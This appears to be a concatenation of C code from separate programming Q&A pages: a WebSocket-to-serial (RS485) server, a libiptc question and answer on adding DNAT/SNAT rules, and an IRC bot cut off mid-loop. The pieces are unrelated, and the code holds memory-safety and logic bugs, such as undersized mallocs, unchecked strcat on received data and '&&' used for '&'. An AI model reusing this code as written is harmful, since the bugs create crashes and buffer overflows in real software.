int socket_desc , new_socket , c , *new_sock, i;
struct sockaddr_in server , client;
char client_message[2000], query[200]="";
char *message, *token, *key;
unsigned char obuf[20];
unsigned char b64[100];
//thread MASTER
for(i=0;i<(MAX_BUFFER+1);i++) serialBuffer[i]=-1;
pthread_t sniffer_thread;
new_sock = malloc(1);
*new_sock = new_socket;
if( pthread_create( &sniffer_thread , NULL , connection_handler_master , (void*) new_sock) < 0) {
perror("Non posso creare il Thread MASTER");
return 1;
}
puts("Thread MASTER creato");
//Create socket
socket_desc = socket(AF_INET , SOCK_STREAM , 0);
if (socket_desc == -1) {
printf("Impossibile creare un socket");
}
//Prepare the sockaddr_in structure
server.sin_family = AF_INET; //IPv4
server.sin_addr.s_addr = INADDR_ANY;
server.sin_port = htons( 5001 );
//Bind
if( bind(socket_desc,(struct sockaddr *)&server , sizeof(server)) < 0) {
puts("bind fallito");
return 1;
}
puts("bind OK");
//Listen
listen(socket_desc , MAX_CONNECTION);
//Accept and incoming connection
puts("In attesa di connessione...");
c = sizeof(struct sockaddr_in);
while( (new_socket = accept(socket_desc, (struct sockaddr *)&client, (socklen_t*)&c)) ) {
puts("Connessione accetata");
recv(new_socket, client_message , 2000 , 0);
token=strtok(client_message,"\r\n");
//DEBUG while(token) { printf( "--------->: %s\n", token ); token=strtok(NULL,"\r\n"); } printf("----------------------------------------\r\n");
while(token != NULL) {
if(!strncmp(token,"Sec-WebSocket-Key:",18)) break; //printf( "%s\n", token );
token=strtok(NULL,"\r\n");
}
key=strtok(token," ");
key=strtok(NULL," ");
strcat(key,"258EAFA5-E914-47DA-95CA-C5AB0DC85B11");
SHA1(key,strlen(key),obuf);
base64_encode(obuf,20,b64,100);
printf( "KEY: %s\n", key );
printf( "B64: %s\n", b64 );
strcat(query,"HTTP/1.1 101 Switching Protocols\r\n");
strcat(query,"Upgrade: Websocket\r\n");
strcat(query,"Connection: Upgrade\r\n");
strcat(query,"Sec-Websocket-Protocol:DomoProtocol\r\n");
strcat(query,"Sec-WebSocket-Accept: ");
strcat(query,b64);
strcat(query,"\r\n\r\n");
//DEBUG puts(token);
printf( "%s\n", query );
write(new_socket , query , strlen(query));
query[0]='\0';
pthread_t sniffer_thread;
new_sock = malloc(1);
*new_sock = new_socket;
if( pthread_create( &sniffer_thread , NULL , connection_handler , (void*) new_sock) < 0) {
perror("Non posso creare il thread");
return 1;
}
puts("Thread creato, Handler assegnato");
printf("new_sock:%i\r\n",new_sock);
}
if (new_socket<0) {
perror("Connessione rifiutata");
return 1;
}
puts("uscita1");
return 0;
}
/**
* encode three bytes using base64 (RFC 3548)
*/
void _base64_encode_triple(unsigned char triple[3], char result[4]) {
int tripleValue, i;
tripleValue = triple[0];
tripleValue *= 256;
tripleValue += triple[1];
tripleValue *= 256;
tripleValue += triple[2];
for (i=0; i<4; i++) { result[3-i] = BASE64_CHARS[tripleValue%64]; tripleValue /= 64; }
}
/**
* encode an array of bytes using Base64 (RFC 3548)
* return 1 on success, 0 otherwise
*/
int base64_encode(unsigned char *source, size_t sourcelen, char *target, size_t targetlen) {
if ((sourcelen+2)/3*4 > targetlen-1) return 0;
/* encode all full triples */
while (sourcelen >= 3) {
_base64_encode_triple(source, target);
sourcelen -= 3;
source += 3;
target += 4;
}
if (sourcelen > 0) {
unsigned char temp[3];
memset(temp, 0, sizeof(temp));
memcpy(temp, source, sourcelen);
_base64_encode_triple(temp, target);
target[3] = '=';
if (sourcelen == 1) target[2] = '=';
target += 4;
}
target[0] = 0;
return 1;
}
/**
* determine the value of a base64 encoding character
* return the value in case of success (0-63), -1 on failure
*/
int _base64_char_value(char base64char) {
if (base64char >= 'A' && base64char <= 'Z') return base64char-'A';
if (base64char >= 'a' && base64char <= 'z') return base64char-'a'+26;
if (base64char >= '0' && base64char <= '9') return base64char-'0'+2*26;
if (base64char == '+') return 2*26+10;
if (base64char == '/') return 2*26+11;
return -1;
}
/**
* decode a 4 char base64 encoded byte triple
* return lenth of the result (1, 2 or 3), 0 on failure
*/
int _base64_decode_triple(char quadruple[4], unsigned char *result) {
int i, triple_value, bytes_to_decode = 3, only_equals_yet = 1;
int char_value[4];
for (i=0; i<4; i++) char_value[i] = _base64_char_value(quadruple[i]);
for (i=3; i>=0; i--) {
if (char_value[i]<0) {
if (only_equals_yet && quadruple[i]=='=') {
char_value[i]=0;
bytes_to_decode--;
continue;
}
return 0;
}
only_equals_yet = 0;
}
if (bytes_to_decode < 0) bytes_to_decode = 0;
triple_value = char_value[0]; triple_value *= 64;
triple_value += char_value[1]; triple_value *= 64;
triple_value += char_value[2]; triple_value *= 64;
triple_value += char_value[3];
for (i=bytes_to_decode; i<3; i++) triple_value /= 256;
for (i=bytes_to_decode-1; i>=0; i--) { result[i] = triple_value%256; triple_value /= 256; }
return bytes_to_decode;
}
/**
* decode base64 encoded data
* return length of converted data on success, -1 otherwise
*/
size_t base64_decode(char *source, unsigned char *target, size_t targetlen) {
char *src, *tmpptr;
char quadruple[4], tmpresult[3];
int i, tmplen = 3;
size_t converted = 0;
src = (char *)malloc(strlen(source)+5);
if (src == NULL) return -1;
strcpy(src, source);
strcat(src, "====");
tmpptr = src;
while (tmplen == 3) {
for (i=0; i<4; i++) {
while (*tmpptr != '=' && _base64_char_value(*tmpptr)<0) tmpptr++;
quadruple[i] = *(tmpptr++);
}
tmplen = _base64_decode_triple(quadruple, tmpresult);
if (targetlen < tmplen) { free(src); return -1; }
memcpy(target, tmpresult, tmplen);
target += tmplen;
targetlen -= tmplen;
converted += tmplen;
}
free(src);
return converted;
}
/*
* Serial Open
*/
int serialOpen (char *device, int baud) {
struct termios options ;
speed_t myBaud ;
int status, fd ;
if ((fd = open (device, O_RDWR | O_NOCTTY | O_NDELAY | O_NONBLOCK)) == -1) return -1 ;
fcntl (fd, F_SETFL, O_RDWR) ;
tcgetattr (fd, &options) ;
cfmakeraw (&options) ;
cfsetispeed (&options, B115200) ;
cfsetospeed (&options, B115200) ;
options.c_cflag |= (CLOCAL | CREAD) ;
options.c_cflag &= ~PARENB ;
options.c_cflag &= ~CSTOPB ;
options.c_cflag &= ~CSIZE ;
options.c_cflag |= CS8 ;
options.c_lflag &= ~(ICANON | ECHO | ECHOE | ISIG) ;
options.c_oflag &= ~OPOST ;
options.c_cc [VMIN] = 0 ;
options.c_cc [VTIME] = 100 ; // Ten seconds (100 deciseconds)
tcsetattr (fd, TCSANOW | TCSAFLUSH, &options) ;
ioctl (fd, TIOCMGET, &status);
status |= TIOCM_DTR ;
status |= TIOCM_RTS ;
ioctl (fd, TIOCMSET, &status);
usleep (10000) ; // 10mS
return fd ;
}
/*
* DECODE / ENCODE STRING TO BINARY
* */
char * decode( char *frame) {
static char text[2000];
int ofs=0, len=0, i=0, a=0;
len = (int)(frame[1]) & 127;
if (len == 126) { ofs = 8; }
else if (len == 127) { ofs = 14; }
else { ofs = 6; }
text[0] = '\0';
for (i = ofs; i < strlen(frame); i++) { text[a] = frame[i] ^ frame[ofs - 4 + (i - ofs) % 4]; a++; }
text[a] = '\0';
return text;
}
char * encode( char *frame) {
int indexStartRawData=-1, i=0;
long long int len=0;
static char bytesFormatted[2000];
for(i=0;i<2000;i++) bytesFormatted[i]='\0';
len = strlen(frame);
bytesFormatted[0]= 129;
if (len <= 125) {
bytesFormatted[1] = len;
indexStartRawData = 2;
} else if (len >= 126 && len <= 65535) {
bytesFormatted[1] = 126;
bytesFormatted[2] = ( len >> 8 ) && 255;
bytesFormatted[3] = ( len ) && 255;
indexStartRawData = 4;
} else {
bytesFormatted[1] = 127;
bytesFormatted[2] = ( len >> 56 ) && 255;
bytesFormatted[3] = ( len >> 48 ) && 255;
bytesFormatted[4] = ( len >> 40 ) && 255;
bytesFormatted[5] = ( len >> 32 ) && 255;
bytesFormatted[6] = ( len >> 24 ) && 255;
bytesFormatted[7] = ( len >> 16 ) && 255;
bytesFormatted[8] = ( len >> 8 ) && 255;
bytesFormatted[9] = ( len ) && 255;
indexStartRawData = 10;
}
strcat( bytesFormatted,frame);
bytesFormatted[indexStartRawData+len] ='\0';
return bytesFormatted;
}
char * asciiencode( int asciichar) {
int indexStartRawData=-1, i=0, len=0;
static char bytesFormatted[10];
static char asciiFormatted[10];
for(i=0;i<=6;i++) bytesFormatted[i]='\0';
sprintf(asciiFormatted,"%i\0",asciichar);
len = strlen(asciiFormatted);
bytesFormatted[0]= 129;
bytesFormatted[1] = len;
indexStartRawData = 2;
strcat( bytesFormatted,asciiFormatted);
bytesFormatted[indexStartRawData+len] =0;
bytesFormatted[indexStartRawData+len+1] =0;
bytesFormatted[indexStartRawData+len+2] ='\0';
//bytesFormatted[indexStartRawData+len] ='\r';
//bytesFormatted[indexStartRawData+len+1] ='\n';
return bytesFormatted;
}
/*
* Thread MASTER to popolate virtual array
* */
void *connection_handler_master (void *socket_desc) {
//Get the socket descriptor
int sock = *(int*)socket_desc;
int read_size;
char *server_message , client_message[2000];
int i=0;
//Send some messages to the client
server_message = "Creazione MASTER avvenuta. ";
printf("%s\r\n",server_message);
server_message = "In attesa di dati sul bus RS485.";
printf("%s\r\n",server_message);
int handle;
uint8_t x ;
handle = serialOpen ("/dev/ttyAMA0", 115200) ;
//for(i=0;i<2001;i++) printf("%i: %i\r\n ",i,serialBuffer[i]);
while(1) {
while(!read (handle, &x, 1));
if(x>-1) {
serialBuffer[i]=x;
//DEBUG printf("%i-%i\r\n",i,serialBuffer[i]);
if(i==MAX_BUFFER) { serialBuffer[0]=-1; i=0; }
else { serialBuffer[i+1]=-1; i++; }
}
x=-1;
}
}
/*
* Thread clients
* */
void *connection_handler(void *socket_desc) {
//Get the socket descriptor
int sock = *(int*)socket_desc, read_size, i=0, a=0;
char *server_message , client_message[2000], *c;
//Send some messages to the client
server_message = "Connessione avvenuta. ";
write(sock , encode(server_message) , strlen(encode(server_message)));
server_message = "In attesa di dati sul buffer.";
write(sock , encode(server_message) , strlen(encode(server_message)));
//DEBUG printf("sock:%i\r\n",sock);
while(serialBuffer[i]!=-1) i++;
while(1) {
if(serialBuffer[i]!=-1) {
//DEBUG printf("Serialdata%i: %i\r\n",i,serialBuffer[i]);
server_message=asciiencode(serialBuffer[i]);
write(sock , server_message , strlen(server_message));
//printf("Serialdata--------------->%i: %s\r\n",i,server_message);
if(i==MAX_BUFFER) i=0;
else i++;
for(a=0;a<DELAYTOSEND;a++) { }
}
}
// This code is not used
//Receive a message from client
while( (read_size = recv(sock , client_message , 2000 , 0)) > 0 ) {
//Received message from client
//printf( "%s\n", decode(client_message) );
//send message to client
//server_message="provina";
//write(sock , encode(server_message) , strlen(encode(server_message)));
printf( "%s\n",decode(client_message));
//read (handle, &x, 1);
//sprintf(c,"%i",x);
//write (sock, encode(c),strlen(encode(c) ) );
printf("serialBUffer: %s\r\n",serialBuffer);
}
if(read_size == 0)
{
puts("Client disconnected");
fflush(stdout);
}
else if(read_size == -1)
{
puts("uscita2");
perror("recv failed");
}
//Free the socket pointer
puts("uscita3");
free(socket_desc);
return 0;
}

libiptc: adding DNAT rule with destination IP

I am trying to make a c program to create port forwarding rule using libiptc.
static int insert_forward_rule(const char *table, const char *chain, unsigned int src, unsigned int dest, const char * ports, const char *target1, char * proto) {
struct xtc_handle *h;
struct ipt_entry *en = NULL;
struct ipt_entry * e;
struct ipt_entry_match * match_proto, * match_limit;
struct ipt_entry_target * target;
unsigned int size_ipt_entry, size_ipt_entry_match, size_ipt_entry_target, total_length;
size_ipt_entry = IPT_ALIGN(sizeof (struct ipt_entry));
size_ipt_entry_match = IPT_ALIGN(sizeof (struct ipt_entry_match)) + sizeof (struct ipt_tcp) + sizeof (int);
size_ipt_entry_target = IPT_ALIGN(sizeof (struct ipt_entry_target) + sizeof (IPTC_LABEL_ACCEPT));
total_length = 216; //size_ipt_entry + size_ipt_entry_match + size_ipt_entry_target + IPT_ALIGN(sizeof (struct ipt_natinfo)); //size_ipt_entry + 48 + 40
//printf("size of ipt ebtry=%u,match=%u,target=%u,total=%u\n", size_ipt_entry, size_ipt_entry_match, size_ipt_entry_target, total_length);
//memory allocation for all structs that represent the netfilter rule we want to insert
e = calloc(1, total_length);
if (e == NULL) {
printf("malloc failure");
exit(1);
}
int size = 160;
//offsets to the other bits:
//target struct begining
e->target_offset = size; //size_ipt_entry + size_ipt_entry_match; //+ size_ipt_tcp + size_rateinfo + size_physdevinfo;
//next "e" struct, end of the current one
e->next_offset = total_length;
e->nfcache = NFC_IP_DST_PT;
if (dest) {
e->ip.dst.s_addr = dest;
e->ip.dmsk.s_addr = 0xFFFFFFFF;
}
match_limit = (struct ipt_entry_match *) (e->elems); //+ match_proto->u.match_size
match_limit->u.user.match_size = size_ipt_entry_match; //size_ipt_entry_match*3; //+ size_rateinfo;
strncpy(match_limit->u.user.name, "tcp", sizeof (match_limit->u.user.name)); //set name of the module, we will use in this match
struct ipt_tcp *info = (struct ipt_tcp *) match_limit->data;
unsigned int i = 0;
if (strchr(ports, ':') != NULL) {
char aPort[2][10];
sscanf(ports, "%[^:], %[^:]", aPort[0], aPort[1]);
info->dpts[0] = atoi(aPort[0]);
info->dpts[1] = atoi(aPort[1]);
} else {
info->dpts[0] = info->dpts[1] = atoi(ports);
}
info->spts[0] = 0;
info->spts[1] = 0xFFFF;
e->ip.proto = IPPROTO_TCP;
printf("Target offset=%d,next offset=%d\n", e->target_offset, e->next_offset);
target = (struct ipt_entry_target *) ((void*) e + e->target_offset); // + size_ipt_entry_match); //+ size_ipt_tcp + size_rateinfo + size_physdevinfo
size = 56;
target->u.user.target_size = size_ipt_entry_target + IPT_ALIGN(sizeof (struct nf_nat_range)); // size_ipt_entry_target;
target->u.user.revision = 0;
strncpy(target->u.user.name, target1, sizeof (target->u.user.name));
struct ipt_natinfo *inf = (struct ipt_natinfo*) target->data;
struct nf_nat_range range;
memset(&range, 0, sizeof (range));
range.flags |= IP_NAT_RANGE_MAP_IPS;
range.min_ip = range.max_ip = src;
inf->mr.rangesize++;
inf->mr.range[inf->mr.rangesize] = range;
inf->t.u.target_size = XT_ALIGN(sizeof (*inf) + inf->mr.rangesize * sizeof (struct nf_nat_range));
printf("after s_addr\n\n");
//All the functions, mentioned below could be found in "Querying libiptc HOWTO" manual
h = iptc_init(table);
printf("h=%d\n", h);
if (!h) {
printf("Error initializing: %s\n", iptc_strerror(errno));
return 0;
}
printf("target_size=%d,match=%d,chain=%s,table=%s,target=%s\n", target->u.user.target_size, match_limit->u.user.match_size, chain, table, target1);
int x = iptc_append_entry(chain, e, h);
if (!x) {
printf("Error append_entry: %s\n", iptc_strerror(errno));
goto ERROR;
}
printf("%d,chain=%s,target=%s\n", target->u.user.target_size, chain, table);
int y = iptc_commit(h);
if (!y) {
printf("Error no=%d,commit: %s\n", errno, iptc_strerror(errno));
goto ERROR;
}
iptc_free(h);
if (e != NULL) {
free(e);
e = NULL;
}
return 1;
ERROR:
iptc_free(h);
if (e != NULL) {
free(e);
e = NULL;
}
return 0;
}
To call this function
inet_pton(AF_INET, "20.10.10.254", &a);
inet_pton(AF_INET, "20.10.10.100", &b);
insert_forward_rule("nat", "port_forward", b, a, "1111", "DNAT", "tcp");
Every time i run this code i am getting error as invalid arguments(code 22).If i change the position of rangesize to below iptc_init() then it gave an error code 94(socket operation on non-socket)
I tried struct nf_nat_range structure directly but then its not saving the destination ip in rules instead of that its showing random.
Rule which i want to make is
iptables -t nat -A port_forward -j DNAT -d 192.168.10.202 -p udp --dport 8080:8084 --to 20.10.10.112
what it is creating with structure nf_nat_range is
Chain port_forward (0 references)
pkts bytes target prot opt in out source destination
0 0 DNAT tcp -- * * 0.0.0.0/0 20.10.10.254 tcp dpt:1111 to: random
0 0 DNAT tcp -- * * 0.0.0.0/0 20.10.10.254 tcp dpt:1111 to: random
0 0 DNAT tcp -- * * 0.0.0.0/0 20.10.10.254 tcp dpt:1111 to: random
These are the functions which helped me to Add or Delete DNAT and SNAT rules using libiptc. I uploaded this to my GitHub account.
void iptc_add_rule(const char *table, const char *chain, const char *protocol, const char *iniface, const char *outiface, const char *src, const char *dest, const char *srcports, const char *destports, const char *target, const char *dnat_to, const int append) {
iptc_handle_t handle;
struct ipt_entry *chain_entry;
struct ipt_entry_match *entry_match = NULL;
struct ipt_entry_target *entry_target;
ipt_chainlabel labelit;
long match_size;
int result = 0;
chain_entry = (struct ipt_entry *) calloc(1, sizeof (*chain_entry));
if (src) {
chain_entry->ip.src.s_addr = inet_addr(src);
chain_entry->ip.smsk.s_addr = inet_addr("255.255.255.255");
}
if (dest) {
chain_entry->ip.dst.s_addr = inet_addr(dest);
chain_entry->ip.dmsk.s_addr = inet_addr("255.255.255.255");
}
if (iniface) strncpy(chain_entry->ip.iniface, iniface, IFNAMSIZ);
if (outiface) strncpy(chain_entry->ip.outiface, outiface, IFNAMSIZ);
if (strcmp(protocol, "TCP") == 0) {
chain_entry->ip.proto = IPPROTO_TCP;
entry_match = get_tcp_match(srcports, destports, &chain_entry->nfcache);
} else if (strcmp(protocol, "UDP") == 0) {
chain_entry->ip.proto = IPPROTO_UDP;
entry_match = get_udp_match(srcports, destports, &chain_entry->nfcache);
} else {
printf("Unsupported protocol: %s", protocol);
return;
}
if (strcmp(target, "") == 0
|| strcmp(target, IPTC_LABEL_ACCEPT) == 0
|| strcmp(target, IPTC_LABEL_DROP) == 0
|| strcmp(target, IPTC_LABEL_QUEUE) == 0
|| strcmp(target, IPTC_LABEL_RETURN) == 0) {
size_t size;
size = IPT_ALIGN(sizeof (struct ipt_entry_target)) + IPT_ALIGN(sizeof (int));
entry_target = (struct ipt_entry_target *) calloc(1, size);
entry_target->u.user.target_size = size;
strncpy(entry_target->u.user.name, target, IPT_FUNCTION_MAXNAMELEN);
} else if (strcmp(target, "DNAT") == 0) {
entry_target = get_dnat_target(dnat_to, &chain_entry->nfcache);
printf("dnat\n");
} else if (strcmp(target, "SNAT") == 0) {
entry_target = get_snat_target(dnat_to, &chain_entry->nfcache);
printf("snat\n");
}
if (entry_match)
match_size = entry_match->u.match_size;
else
match_size = 0;
struct ipt_entry *tmp_ipt = chain_entry;
chain_entry = (struct ipt_entry *) realloc(chain_entry, sizeof (*chain_entry) + match_size + entry_target->u.target_size);
if (chain_entry == NULL) {
free(tmp_ipt);
}
memcpy(chain_entry->elems + match_size, entry_target, entry_target->u.target_size);
chain_entry->target_offset = sizeof (*chain_entry) + match_size;
chain_entry->next_offset = sizeof (*chain_entry) + match_size + entry_target->u.target_size;
printf("target->offset=%d,next_offset=%d,target_size=%d\n", chain_entry->target_offset, chain_entry->next_offset, entry_target->u.user.target_size);
if (entry_match) {
memcpy(chain_entry->elems, entry_match, match_size);
printf("%d\n", __LINE__);
}
printf("%d\n", __LINE__);
handle = iptc_init(table);
if (!handle) {
printf("libiptc error: Can't initialize table %s, %s", table, iptc_strerror(errno));
free(chain_entry);
free(entry_target);
if (entry_match) free(entry_match);
return;
}
strncpy(labelit, chain, sizeof (ipt_chainlabel));
printf("%d\n", __LINE__);
result = iptc_is_chain(chain, handle);
if (!result) {
printf("libiptc error: Chain %s does not exist!", chain);
free(chain_entry);
free(entry_target);
if (entry_match) free(entry_match);
return;
}
printf("%d,labeit=%s\n", __LINE__, labelit);
if (append)
result = iptc_append_entry(labelit, chain_entry, handle);
else
result = iptc_insert_entry(labelit, chain_entry, 0, handle);
printf("%d\n", __LINE__);
if (!result) {
printf("libiptc error: Can't add, %s", iptc_strerror(errno));
free(chain_entry);
free(entry_target);
if (entry_match) free(entry_match);
return;
}
printf("%d\n", __LINE__);
result = iptc_commit(handle);
if (!result) {
printf("libiptc error: Commit error, %s", iptc_strerror(errno));
free(chain_entry);
free(entry_target);
if (entry_match) free(entry_match);
return;
} else
printf("added new rule to block successfully");
if (entry_match) free(entry_match);
free(entry_target);
free(chain_entry);
}
void iptc_delete_rule(const char *table, const char *chain, const char *protocol, const char *iniface, const char *outiface, const char *src, const char *dest, const char *srcports, const char *destports, const char *target, const char *dnat_to) {
iptc_handle_t handle;
const struct ipt_entry *e;
ipt_chainlabel labelit;
int i, result;
unsigned long int s_src, s_dest;
if (src) s_src = inet_addr(src);
if (dest) s_dest = inet_addr(dest);
handle = iptc_init(table);
if (!handle) {
printf("libiptc error: Can't initialize table %s, %s", table, iptc_strerror(errno));
return;
}
strncpy(labelit, chain, sizeof (ipt_chainlabel));
result = iptc_is_chain(chain, handle);
if (!result) {
printf("libiptc error: Chain %s does not exist!", chain);
return;
}
for (e = iptc_first_rule(chain, handle), i = 0; e; e = iptc_next_rule(e, handle), i++) {
if (src && e->ip.src.s_addr != s_src) continue;
else if (dest && e->ip.dst.s_addr != s_dest) continue;
else if (iniface && strcmp(e->ip.iniface, iniface) != 0) continue;
else if (outiface && strcmp(e->ip.outiface, outiface) != 0) continue;
else if (protocol && strcmp(protocol, "TCP") == 0 && e->ip.proto != IPPROTO_TCP) continue;
else if (protocol && strcmp(protocol, "UDP") == 0 && e->ip.proto != IPPROTO_UDP) continue;
else if ((srcports || destports) && IPT_MATCH_ITERATE_MY(e, matchcmp, srcports, destports) == 0) continue;
else if (target && strcmp(target, iptc_get_target(e, handle)) != 0) continue;
else if (dnat_to && strcmp(target, "DNAT") == 0) {
struct ipt_entry_target *t;
struct ip_nat_multi_range *mr;
struct ip_nat_range *r, range;
t = (struct ipt_entry_target *) (e + e->target_offset);
mr = (struct ip_nat_multi_range *) ((void *) &t->data);
if (mr->rangesize != 1) continue; // we have only single dnat_to target now
r = mr->range;
parse_range(dnat_to, &range);
if (r->flags == range.flags
&& r->min_ip == range.min_ip
&& r->max_ip == range.max_ip
&& r->min.all == range.min.all
&& r->max.all == range.max.all) {
break;
}
} else break;
}
if (!e) return;
result = iptc_delete_num_entry(chain, i, handle);
if (!result) {
printf("libiptc error: Delete error, %s", iptc_strerror(errno));
return;
}
result = iptc_commit(handle);
if (!result) {
printf("libiptc error: Commit error, %s", iptc_strerror(errno));
return;
} else
printf("deleted rule from block successfully");
}
int matchcmp(const struct ipt_entry_match *match, const char *srcports, const char *destports) {
u_int16_t temp[2];
if (strcmp(match->u.user.name, "tcp") == 0) {
struct ipt_tcp *tcpinfo = (struct ipt_tcp *) match->data;
if (srcports) {
parse_ports(srcports, temp);
if (temp[0] != tcpinfo->spts[0] || temp[1] != tcpinfo->spts[1]) return 0;
}
if (destports) {
parse_ports(destports, temp);
if (temp[0] != tcpinfo->dpts[0] || temp[1] != tcpinfo->dpts[1]) return 0;
}
return 1;
} else if (strcmp(match->u.user.name, "udp") == 0) {
struct ipt_udp *udpinfo = (struct ipt_udp *) match->data;
if (srcports) {
parse_ports(srcports, temp);
if (temp[0] != udpinfo->spts[0] || temp[1] != udpinfo->spts[1]) return 0;
}
if (destports) {
parse_ports(destports, temp);
if (temp[0] != udpinfo->dpts[0] || temp[1] != udpinfo->dpts[1]) return 0;
}
return 1;
} else return 0;
}
/* These functions are used to create structs */
struct ipt_entry_match *get_tcp_match(const char *sports, const char *dports, unsigned int *nfcache) {
struct ipt_entry_match *match;
struct ipt_tcp *tcpinfo;
size_t size;
size = IPT_ALIGN(sizeof (*match)) + IPT_ALIGN(sizeof (*tcpinfo));
match = (struct ipt_entry_match *) calloc(1, size);
match->u.match_size = size;
strncpy(match->u.user.name, "tcp", IPT_FUNCTION_MAXNAMELEN);
tcpinfo = (struct ipt_tcp *) match->data;
tcpinfo->spts[1] = tcpinfo->dpts[1] = 0xFFFF;
printf("sports=%s,dports=%s\n", sports, dports);
if (sports) {
*nfcache |= NFC_IP_SRC_PT;
parse_ports(sports, tcpinfo->spts);
printf("%d\n", __LINE__);
}
if (dports) {
*nfcache |= NFC_IP_DST_PT;
parse_ports(dports, tcpinfo->dpts);
printf("%d\n", __LINE__);
}
return match;
}
struct ipt_entry_match *get_udp_match(const char *sports, const char *dports, unsigned int *nfcache) {
struct ipt_entry_match *match;
struct ipt_udp *udpinfo;
size_t size;
size = IPT_ALIGN(sizeof (*match)) + IPT_ALIGN(sizeof (*udpinfo));
match = (struct ipt_entry_match *) calloc(1, size);
match->u.match_size = size;
strncpy(match->u.user.name, "udp", IPT_FUNCTION_MAXNAMELEN);
udpinfo = (struct ipt_udp *) match->data;
udpinfo->spts[1] = udpinfo->dpts[1] = 0xFFFF;
printf("sports=%s,dports=%s\n", sports, dports);
if (sports) {
*nfcache |= NFC_IP_SRC_PT;
parse_ports(sports, udpinfo->spts);
printf("%d\n", __LINE__);
}
if (dports) {
*nfcache |= NFC_IP_DST_PT;
parse_ports(dports, udpinfo->dpts);
printf("%d\n", __LINE__);
}
return match;
}
struct ipt_entry_target *get_dnat_target(const char *input, unsigned int *nfcache) {
struct ipt_entry_target *target;
struct ipt_natinfo *info;
struct ip_nat_range range;
char *buffer;
size_t size;
/* Can't cache this */
*nfcache |= NFC_UNKNOWN;
buffer = strdup(input);
size = IPT_ALIGN(sizeof (*target)) + IPT_ALIGN(sizeof (struct ip_nat_multi_range));
target = (struct ipt_entry_target *) calloc(1, size);
target->u.target_size = size;
strncpy(target->u.user.name, "DNAT", IPT_FUNCTION_MAXNAMELEN);
info = (struct ipt_natinfo *) target;
printf("buffer range=%s\n", buffer);
parse_range(buffer, &range);
target = &(append_range(info, &range)->t);
printf("range=%d\n", range.flags);
printf("%d\n", __LINE__);
free(buffer);
return target;
}
struct ipt_entry_target *get_snat_target(const char *input, unsigned int *nfcache) {
struct ipt_entry_target *target;
struct ipt_natinfo *info;
struct ip_nat_range range;
char *buffer;
size_t size;
/* Can't cache this */
*nfcache |= NFC_UNKNOWN;
buffer = strdup(input);
size = IPT_ALIGN(sizeof (*target)) + IPT_ALIGN(sizeof (struct ip_nat_multi_range));
target = (struct ipt_entry_target *) calloc(1, size);
target->u.target_size = size;
strncpy(target->u.user.name, "SNAT", IPT_FUNCTION_MAXNAMELEN);
info = (struct ipt_natinfo *) target;
printf("buffer range=%s\n", buffer);
parse_range(buffer, &range);
target = &(append_range(info, &range)->t);
printf("range=%d\n", range.flags);
printf("%d\n", __LINE__);
free(buffer);
return target;
}
/* Copied and modified from libipt_tcp.c and libipt_udp.c */
static u_int16_t parse_port(const char *port) {
unsigned int portnum;
if ((portnum = service_to_port(port)) != -1) {
return (u_int16_t) portnum;
} else {
return atoi(port);
}
}
static void parse_ports(const char *portstring, u_int16_t *ports) {
char *buffer;
char *cp;
buffer = strdup(portstring);
if ((cp = strchr(buffer, ':')) == NULL)
ports[0] = ports[1] = parse_port(buffer);
else {
*cp = '\0';
cp++;
ports[0] = buffer[0] ? parse_port(buffer) : 0;
ports[1] = cp[0] ? parse_port(cp) : 0xFFFF;
}
free(buffer);
}
static int service_to_port(const char *name) {
struct servent *service;
if ((service = getservbyname(name, "tcp")) != NULL)
return ntohs((unsigned short) service->s_port);
return -1;
}
/* Copied and modified from libipt_DNAT.c */
static void parse_range(const char *input, struct ip_nat_range *range) {
char *colon, *dash, *buffer;
in_addr_t ip;
buffer = strdup(input);
memset(range, 0, sizeof (*range));
colon = strchr(buffer, ':');
if (colon) {
int port;
range->flags |= IP_NAT_RANGE_PROTO_SPECIFIED;
port = atoi(colon + 1);
dash = strchr(colon, '-');
if (!dash) {
range->min.all
= range->max.all
= htons(port);
} else {
int maxport;
maxport = atoi(dash + 1);
range->min.all = htons(port);
range->max.all = htons(maxport);
}
/* Starts with a colon? No IP info...*/
if (colon == buffer) {
free(buffer);
return;
}
*colon = '\0';
}
range->flags |= IP_NAT_RANGE_MAP_IPS;
dash = strchr(buffer, '-');
if (colon && dash && dash > colon)
dash = NULL;
if (dash)
*dash = '\0';
ip = inet_addr(buffer);
range->min_ip = ip;
if (dash) {
ip = inet_addr(dash + 1);
range->max_ip = ip;
} else
range->max_ip = range->min_ip;
free(buffer);
return;
}
static struct ipt_natinfo *append_range(struct ipt_natinfo *info, const struct ip_nat_range *range) {
unsigned int size;
/* One ip_nat_range already included in ip_nat_multi_range */
size = IPT_ALIGN(sizeof (*info) + info->mr.rangesize * sizeof (*range));
info = (struct ipt_natinfo *) realloc(info, size);
info->t.u.target_size = size;
info->mr.range[info->mr.rangesize] = *range;
info->mr.rangesize++;
printf("range size=%d\n", info->mr.rangesize);
return info;
}

c - trying to make irc bot

#include <winsock2.h>
#include <stdio.h>
const int PORT = 6667;
const char *SERVER = "irc.freenode.org";
const char *CHAN = "#channela";
const char *NICK = "loveMilk";
const int MAX_BUFF_SIZE = 512;
int sock_conn(SOCKET *socketn, const char *HOST, int portn);
int sock_send(SOCKET *socketn, char* msg, ...);
int main(int argc, char *argv[])
{
WSADATA wsadata;
char buff[MAX_BUFF_SIZE];
char oBuff[MAX_BUFF_SIZE];
int buffRec;
if (WSAStartup(MAKEWORD(2,2), &wsadata) != 0)
return 0;
SOCKET sock;
if(sock_conn(&sock, SERVER, PORT) != 0)
{
WSACleanup();
return 0;
}
printf("connected.\n");
sock_send(&sock, "USER %s \"\" \"127.0.0.1\" :%s\r\n", NICK, NICK);
sock_send(&sock, "NICK %s\r\n", NICK);
Sleep(100);
sock_send(&sock, "JOIN %s\r\n", CHAN);
printf("Joined channel.\n");
while(1)
{
memset(buff, 0, MAX_BUFF_SIZE);
memset(oBuff, 0, MAX_BUFF_SIZE);
buffRec = recv(sock, buff, MAX_BUFF_SIZE, 0);
if((buffRec == 0) || (buffRec == SOCKET_ERROR)) break;
/* New line: Terminate buffer as a string */
buff[buffRec] = '\0';
if(buff[0] != ':')
{
strcpy(oBuff, "PONG :");
printf("PONG");
sock_send(&sock, oBuff);
}
else
{
if(strstr(buff, "PRIVMSG"))
{
int i, num = 0;
for(i = 0; i < strlen(buff); ++i) if(buff[i] = ' ') ++num;
char** parts = malloc(sizeof(char*) * num);
char *p;
p = strtok(buff, " ");
int j = 0;
while(p != NULL)
{
parts[j] = p;
j++;
p = strtok(NULL, " ");
}
printf("%s", parts[3]);
